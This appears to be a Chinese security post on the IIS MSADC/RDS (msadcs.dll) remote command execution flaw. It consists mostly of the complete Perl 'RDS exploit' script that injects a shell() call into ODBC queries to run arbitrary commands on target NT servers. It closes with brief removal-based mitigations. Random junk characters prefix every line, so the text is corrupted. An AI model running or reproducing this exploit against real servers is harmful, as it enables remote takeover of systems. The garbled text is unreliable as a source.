IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
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涉及程序：
ebA95v`Vms Microsoft NT server
l~J d>9DwY !Yof%%m$; 描述：
4/
` *mPW 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
r<!hEWO>v h$5[ 04.Q 详细：
;nSF\X(;{ 如果你没有时间读详细内容的话，就删除:
py;p7y!gxA c:\Program Files\Common Files\System\Msadc\msadcs.dll
E#!N8fQ 有关的安全问题就没有了。
B*tY p c64^ u9 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
YR'F]FI l'I:0a
4T 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
)<5k+O~ 关于利用ODBC远程漏洞的描述，请参看:
C0N
:z.)4 L:HvrB~ http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm (z sG!v s{b\\$Rb 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Jc":zR@5 http://www.microsoft.com/security/bulletins/MS99-025faq.asp O9daeIF0# Pd7\Q]of 这里不再论述。
8" %Es 1L,L/sOwB& 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
R-%6v2;ry >YI Vi4'' /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
!Cg j
>= 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
um%_kX (MLcA\LJ 6Vnq|;W3Zv #将下面这段保存为txt文件，然后: "perl -x 文件名"
Kk^* #vR 5G355 ,}E #!perl
j(%N.f6 #
evZcoH3~ # MSADC/RDS 'usage' (aka exploit) script
4Y(@
KU b #
iC3z5_g*@ # by rain.forest.puppy
&tH?m;V #
+/[M
Ex= # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
Qvp"gut)%X # beta test and find errors!
??F* Z" x X['9;1Xr use Socket; use Getopt::Std;
Sf S3}Tn[ getopts("e:vd:h:XR", \%args);
|gE1P/%k l cl|o3yQ print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
hDxq9EF Au,oX2$ if (!defined $args{h} && !defined $args{R}) {
k[@P526 print qq~
]k!Xb Usage: msadc.pl -h <host> { -d <delay> -X -v }
'3S~Q N -h <host> = host you want to scan (ip or domain)
% ,bD|
NKp -d <seconds> = delay between calls, default 1 second
- rO34l -X = dump Index Server path table, if available
Db" mq'vT -v = verbose
%:aXEjm@ -e = external dictionary file for step 5
3}nk9S:jr 0O"W0s"T# Or a -R will resume a command session
o*Qa*<n uzdPA'u ~; exit;}
oPi>]#X Ay(p~U;gN* $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
nJe}U# if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
n^nE&'[?0g if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
AJ7w_'u=@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
%)j&/QdzF& $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
?4':~;~ if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
CyIlv0fd} FMdu30JV if (!defined $args{R}){ $ret = &has_msadc;
529b . | die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
= Pv_,% Na9 1K4r# print "Please type the NT commandline you want to run (cmd /c assumed):\n"
`#$}P;W . "cmd /c ";
>[ B.y $in=<STDIN>; chomp $in;
s#D j>Fej $command="cmd /c " . $in ;
?I=1T. #Ha:O,| if (defined $args{R}) {&load; exit;}
ZPZh6^cc os5$( print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
f=^xU
P &try_btcustmr;
NifQsy)*% <IR#W$[ print "\nStep 2: Trying to make our own DSN...";
f30 J8n"k &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
~A >fB2.pM yz68g?" print "\nStep 3: Trying known DSNs...";
M5no4P< &known_dsn;
-+ByK#<% j !*,( print "\nStep 4: Trying known .mdbs...";
{VAih-y &known_mdb;
_^E NR k@ ,'
k?rQ if (defined $args{e}){
e) u C print "\nStep 5: Trying dictionary of DSN names...";
M|blg !j; &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
|O(>{GH v_XN).f; print "Sorry Charley...maybe next time?\n";
kk78*s {6 exit;
. HZ d.* h,{Q %sqO ##############################################################################
V&f*+!!2 l\Ozy sub sendraw { # ripped and modded from whisker
egu{}5 sleep($delay); # it's a DoS on the server! At least on mine...
G!j 9D my ($pstr)=@_;
r~,y3L6ic socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
:UdW4N- die("Socket problems\n");
S# ]] h/ if(connect(S,pack "SnA4x8",2,80,$target)){
PIH\*2\/ select(S); $|=1;
1h@qcom9K_ print $pstr; my @in=<S>;
wlNL;W @w select(STDOUT); close(S);
m4m-JD |v return @in;
58Ibje } else { die("Can't connect...\n"); }}
^
9+
Qxv v*.R< - X: ##############################################################################
)= f}vHg$ &>qUT]w sub make_header { # make the HTTP request
7$<pdayd my $msadc=<<EOT
\9[vi +T POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
RQ E]=N User-Agent: ACTIVEDATA
9\ "\7S/Z Host: $ip
btg= # u Content-Length: $clen
&%fcGNzJQ Connection: Keep-Alive
V ,KIi_Z ^{"i eVn ADCClientVersion:01.06
eC5*Q=ai, Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
p -$C*0{ eKr>>4,-P --!ADM!ROX!YOUR!WORLD!
[+o{0o> Content-Type: application/x-varg
D|OGlP Content-Length: $reqlen
WRZpu 95v }sxs- EOT
UC+Qn ; $msadc=~s/\n/\r\n/g;
eV"%(<{ return $msadc;}
K e4oLF2 oB 1Qw'J
w ##############################################################################
w> 2lG3H< ]y {tMC sub make_req { # make the RDS request
:la i0>
D my ($switch, $p1, $p2)=@_;
2E40& my $req=""; my $t1, $t2, $query, $dsn;
p8,=K< k1,k 9BK if ($switch==1){ # this is the btcustmr.mdb query
Ubu&$4a $query="Select * from Customers where City=" . make_shell();
}) O S2F $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
~m=GS[= $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
VV Q~;{L Fizrsr 6% elsif ($switch==2){ # this is general make table query
^\v]Ltd $query="create table AZZ (B int, C varchar(10))";
%<kfW&_>w $dsn="$p1";}
{jD? o bs |it*w\+M elsif ($switch==3){ # this is general exploit table query
LGL;3E I $query="select * from AZZ where C=" . make_shell();
+c _AAMe $dsn="$p1";}
s{dm,|?Jl, ~k34#j:J65 elsif ($switch==4){ # attempt to hork file info from index server
IGTO|sT" $query="select path from scope()";
zh) &6'S\ $dsn="Provider=MSIDXS;";}
A'w+Lc.2 "c[> >t elsif ($switch==5){ # bad query
L<V20d9 $query="select";
b=Nsz$[ $dsn="$p1";}
!5d n7Wuj 4PVg? $t1= make_unicode($query);
21OfTV-+3 $t2= make_unicode($dsn);
U,2OofLM $req = "\x02\x00\x03\x00";
St?mq* , $req.= "\x08\x00" . pack ("S1", length($t1));
D:9^^uVp $req.= "\x00\x00" . $t1 ;
#<Y. + : $req.= "\x08\x00" . pack ("S1", length($t2));
'5aA+XP| $req.= "\x00\x00" . $t2 ;
aX.BaK6I $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
KJFQ)#SW! return $req;}
oI -Fr0! W_XFTqp^ ##############################################################################
L@\t]
~ W,~*pyLdO sub make_shell { # this makes the shell() statement
++~
G\T9H return "'|shell(\"$command\")|'";}
;d<XcpK} TU?n;h#TZ ##############################################################################
k
Fl* Im 8nI~iN?" sub make_unicode { # quick little function to convert to unicode
[g}^{ $` my ($in)=@_; my $out;
N,w6 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
VQ!4(
<XD return $out;}
9]3l' o2(w ##############################################################################
Ak W,Fp1e -v9 (43 sub rdo_success { # checks for RDO return success (this is kludge)
:G#%+, my (@in) = @_; my $base=content_start(@in);
Y#lAG@$ if($in[$base]=~/multipart\/mixed/){
X)SUFhP\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
eQQVfEvS return 0;}
8GxT ! 0 iSNom}m ##############################################################################
ub 2'|CYw ;7Qe m& sub make_dsn { # this makes a DSN for us
q"Bd-?9 my @drives=("c","d","e","f");
@d Qr^'h print "\nMaking DSN: ";
3wN4kltt foreach $drive (@drives) {
CH+%q+I print "$drive: ";
hak#Iz0[C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
7h9oY<W "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
T2-x 1Sw_ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
6iQqOAG $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
f Xevr ` return 0 if $2 eq "404"; # not found/doesn't exist
h`fZ 8|yw if($2 eq "200") {
"Io-%S u+ foreach $line (@results) {
3D c^lfn return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~@@t-QY } return 0;}
F@/syX;bb5 T J>Y J D ##############################################################################
kk126?V]_ z*nztvY@e sub verify_exists {
L\Oxyi<{ my ($page)=@_;
h%:wIkZ/ my @results=sendraw("GET $page HTTP/1.0\n\n");
_BG `!3U + return $results[0];}
qjfv9sU /_fZ2$/ ##############################################################################
LzXIqj'H7T 'PMzm/;8st sub try_btcustmr {
1slt[&4N my @drives=("c","d","e","f");
Y\!:/h]E& my @dirs=("winnt","winnt35","winnt351","win","windows");
m$Tt y[0 /XRgsF foreach $dir (@dirs) {
^umHuAAE print "$dir -> "; # fun status so you can see progress
}J 5iY0 foreach $drive (@drives) {
unL1/JY z print "$drive: "; # ditto
R U [ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
&m(eMX0lU $reqlenlen=length( "$reqlen" );
E3Z>R=s $clen= 206 + $reqlenlen + $reqlen;
-NG9?sI\U g 'L$m| my @results=sendraw(make_header() . make_req(1,$drive,$dir));
^(xVjsHp# if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
7.5\LTM>9e else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
Zf u" 8fX W6B o\UK ##############################################################################
w*SF Q_6YE #l2WRw_t sub odbc_error {
bVRxGn @l my (@in)=@_; my $base;
,v| vgt my $base = content_start(@in);
[-[|4|CnOm if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
YS"76FJ $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
/? j^Qu $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
8HO)",+I $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
e ]> {?Z return $in[$base+4].$in[$base+5].$in[$base+6];}
u*;53 43 print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
*7Sg8\wDn print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
)fZ5.W8UE] $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
JvUHoc$sI `0ju=FP'u5 ##############################################################################
BJ/#V) 9.goO|~ B~ sub verbose {
DA4!-\bt@ my ($in)=@_;
`~t$k7wm= return if !$verbose;
Pb D|7IM print STDOUT "\n$in\n";}
I^ A01\p 7L:R&W6 ##############################################################################
\;tKss!| `|JQ)!Agx sub save {
OaxE3bDT my ($p1, $p2, $p3, $p4)=@_;
m4P=,=% open(OUT, ">rds.save") || print "Problem saving parameters...\n";
Df/f&;` print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
Q ^V`%+ close OUT;}
r3 {o _w w_J`29uc ##############################################################################
"=!Q Sb w1A&p sub load {
TA Y t: my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
I p0@Q}^ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
'E8dkVlI @p=<IN>; close(IN);
s?K4::@ Fv $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
oB Bdk@ $target= inet_aton($ip) || die("inet_aton problems");
5p{tt;9[ print "Resuming to $ip ...";
s : q15" $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
m9>nv rQ if($p[1]==1) {
qXW2a '~ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
2 |w.A! $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
!r!Mq~X<= my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
e]X9"sd0= if (rdo_success(@results)){print "Success!\n";}
&(^>}&XS.< else { print "failed\n"; verbose(odbc_error(@results));}}
"Lpt@g[HF elsif ($p[1]==3){
ZCJ8 I if(run_query("$p[3]")){
IO_H%/v"jC print "Success!\n";} else { print "failed\n"; }}
7erao- elsif ($p[1]==4){
.}y
Lz if(run_query($drvst . "$p[3]")){
#W pO9[b> print "Success!\n"; } else { print "failed\n"; }}
Z*e7W O. exit;}
t@19a6:Co 7iJk0L$]x ##############################################################################
=v5(*$"pd" ^lMnwqx< sub create_table {
(U dDp"/ my ($in)=@_;
I A!ixabG $reqlen=length( make_req(2,$in,"") ) - 28;
!`#9#T| $reqlenlen=length( "$reqlen" );
WE~3(rs#X# $clen= 206 + $reqlenlen + $reqlen;
qP<,"9!I my @results=sendraw(make_header() . make_req(2,$in,""));
\M532_w return 1 if rdo_success(@results);
} w]xC my $temp= odbc_error(@results); verbose($temp);
+`Bn]e8O return 1 if $temp=~/Table 'AZZ' already exists/;
8"* $e
I5 return 0;}
>% 3c 1 :3n.nKANr ##############################################################################
ng <`2XgU tw3d>H` sub known_dsn {
ti#sh{t # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
;^8^L'7cr my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
&% r#eB?7 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
22r01qH "banner", "banners", "ads", "ADCDemo", "ADCTest");
t@ JPnA7~ 1W!n"3 # foreach $dSn (@dsns) {
0 De M print ".";
mVL,J=2 next if (!is_access("DSN=$dSn"));
< 5_Ys if(create_table("DSN=$dSn")){
9FLn7Y print "$dSn successful\n";
gX _BJ6 if(run_query("DSN=$dSn")){
J+ |ohA print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q@-qA] print "Something's borked. Use verbose next time\n";}}} print "\n";}
7VXeu+-P 83 5Upj> ##############################################################################
CGe'z lM1!2d'P sub is_access {
R39R$\ my ($in)=@_;
5) o IPHXw $reqlen=length( make_req(5,$in,"") ) - 28;
lqCn5|S] $reqlenlen=length( "$reqlen" );
g^4FzJ $clen= 206 + $reqlenlen + $reqlen;
=U2Te my @results=sendraw(make_header() . make_req(5,$in,""));
.}<B*e=y my $temp= odbc_error(@results);
9iy|= verbose($temp); return 1 if ($temp=~/Microsoft Access/);
@
:4Kk
4g1 return 0;}
l=]vC +mU XZ& v3ul ##############################################################################
Yr= mLT|JN 1;gSf.naG sub run_query {
2!otVz! Mh my ($in)=@_;
,<
icW &a $reqlen=length( make_req(3,$in,"") ) - 28;
uWInx6p $reqlenlen=length( "$reqlen" );
QPcB_wUqu $clen= 206 + $reqlenlen + $reqlen;
kZ.3\ my @results=sendraw(make_header() . make_req(3,$in,""));
) IhY&?jk? return 1 if rdo_success(@results);
GDB>!ukg my $temp= odbc_error(@results); verbose($temp);
%UJ4wm return 0;}
)x7hhEk=^ *vO'Z & ##############################################################################
pi FQ7B e,*[5xQ sub known_mdb {
OA=;9AcZ my @drives=("c","d","e","f","g");
19u? ^w my @dirs=("winnt","winnt35","winnt351","win","windows");
ibc/x v2 my $dir, $drive, $mdb;
Xh/av[Q my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
,6S 8s feW9 >f; # this is sparse, because I don't know of many
E\S&} K,s my @sysmdbs=( "\\catroot\\icatalog.mdb",
bN&da
[K "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
kZ9pgdI "\\system32\\certmdb.mdb",
"\[>@_p h "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
pzr-}>xrZ Pvw %,=41O my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
w$ { "\\cfusion\\cfapps\\forums\\forums_.mdb",
cj#q7 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
B~#@fIL "\\cfusion\\cfapps\\security\\realm_.mdb",
NLGr=*dq "\\cfusion\\cfapps\\security\\data\\realm.mdb",
^e,RM_. "\\cfusion\\database\\cfexamples.mdb",
i?/?{p$#a- "\\cfusion\\database\\cfsnippets.mdb",
`7_LJ
\>I "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
~&:R\ "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
ECzNByP "\\cfusion\\brighttiger\\database\\cleam.mdb",
vr v*k "\\cfusion\\database\\smpolicy.mdb",
_64@zdL+ "\\cfusion\\database\cypress.mdb",
-JENY|6 "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
@ 1A_eF "\\website\\cgi-win\\dbsample.mdb",
#+PbcL "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
o {LFXNcg[ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
Evm mQ ); #these are just
1W[(+TZ&s foreach $drive (@drives) {
Q9>]@DrAx foreach $dir (@dirs){
3@?YTez# foreach $mdb (@sysmdbs) {
$@k w>2 print ".";
F8Wq&X#r if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
1[`<JCFClc print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
c7IR06E if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
|u;PU`^-z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
}2,#[m M } else { print "Something's borked. Use verbose next time\n"; }}}}}
6S[D"Q94 PWu2;JF foreach $drive (@drives) {
ZG<!^t j foreach $mdb (@mdbs) {
p d3&AsU print ".";
Vb 9N~v if(create_table($drv . $drive . $dir . $mdb)){
CWQ2iu<_0 print "\n" . $drive . $dir . $mdb . " successful\n";
m5aa Y if(run_query($drv . $drive . $dir . $mdb)){
?\M6P?tpo& print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+yH~G9u( } else { print "Something's borked. Use verbose next time\n"; }}}}
)>5k'1 }
u/c3omY"# )"uG*}\?b ##############################################################################
<,4(3 >js !cwVJe sub hork_idx {
a3O_#l-Z print "\nAttempting to dump Index Server tables...\n";
_l= print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
UiZp -Y%ki $reqlen=length( make_req(4,"","") ) - 28;
-z$2pXT ^ $reqlenlen=length( "$reqlen" );
HbfB[% $clen= 206 + $reqlenlen + $reqlen;
a
BH1J]_ my @results=sendraw2(make_header() . make_req(4,"",""));
S{T d/1} if (rdo_success(@results)){
jY+S,l D my $max=@results; my $c; my %d;
,GU/l)os` for($c=19; $c<$max; $c++){
]UT|BE4v $results[$c]=~s/\x00//g;
!o': \hex6 $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
cCGXB|9fYR $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
(<Zkm IXN $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
1DtMY|wP $d{"$1$2"}="";}
T}Vpy` foreach $c (keys %d){ print "$c\n"; }
X6GkJ
R } else {print "Index server doesn't seem to be installed.\n"; }}
$uK"@Mw */y]!<\v!k ##############################################################################
f bTw6Fde$ dHF$T3 3It sub dsn_dict {
R 0HVLQI open(IN, "<$args{e}") || die("Can't open external dictionary\n");
.]s( c !{y while(<IN>){
EvQwGt1)P $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
ZNpExfGEU next if (!is_access("DSN=$dSn"));
{V% O4/ if(create_table("DSN=$dSn")){
Ca@=s print "$dSn successful\n";
QsJW"4d if(run_query("DSN=$dSn")){
0&IXzEOr print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
6*aa[,> print "Something's borked. Use verbose next time\n";}}}
u<=KC/vZe print "\n"; close(IN);}
"Lq|66 cgxF Ev ##############################################################################
auTT v J 'R d*X6dv sub sendraw2 { # ripped and modded from whisker
f
H|QAMfOu sleep($delay); # it's a DoS on the server! At least on mine...
<!}l~Ln15 my ($pstr)=@_;
a<wQzgxG socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
FEZ"\|I| die("Socket problems\n");
+VLe'| if(connect(S,pack "SnA4x8",2,80,$target)){
x3 6 #x print "Connected. Getting data";
"E)++\JL open(OUT,">raw.out"); my @in;
AYA&& b select(S); $|=1; print $pstr;
W#jZRviyq! while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
tWSvxGCzn% close(OUT); select(STDOUT); close(S); return @in;
=Cy>$/H64 } else { die("Can't connect...\n"); }}
sC5uA
.?>9 4!~
.6cp3 ##############################################################################
Qj<{oZp& YG 5Z8@kH sub content_start { # this will take in the server headers
0SY f<$ my (@in)=@_; my $c;
_p J_V>l for ($c=1;$c<500;$c++) {
ca/o#9:N`: if($in[$c] =~/^\x0d\x0a/){
=PFR{=F if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
nOal7BNN else { return $c+1; }}}
b ?]ly( return -1;} # it should never get here actually
yvoo M'R "vOfAo]` ##############################################################################
`,Y[ Z 0YpiHoM sub funky {
Yl&tkSw46 my (@in)=@_; my $error=odbc_error(@in);
fQW_YQsb if($error=~/ADO could not find the specified provider/){
IFrb}yH print "\nServer returned an ADO miscofiguration message\nAborting.\n";
G tM(
Y exit;}
7}'A)C>J; if($error=~/A Handler is required/){
o d}EM_ print "\nServer has custom handler filters (they most likely are patched)\n";
vf' cx :m exit;}
OVUs]uK if($error=~/specified Handler has denied Access/){
Xm8Z+}i print "\nServer has custom handler filters (they most likely are patched)\n";
I51oG:6fR? exit;}}
}xf= 'lE ?
%+VG ##############################################################################
Uc&6=5~Ys\ HLSfoQ&)v sub has_msadc {
juCG?}di; my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
XnE
%$NJ my $base=content_start(@results);
9jMC |oE return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
O| 1f ^_S/ return 0;}
xdL/0 N3 50`iCD ########################
EO].qN-8
P('t6MVl T "s>fV9YyZ 解决方案：
2fzKdkJhe 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
%R5Com 2、移除web 目录: /msadc
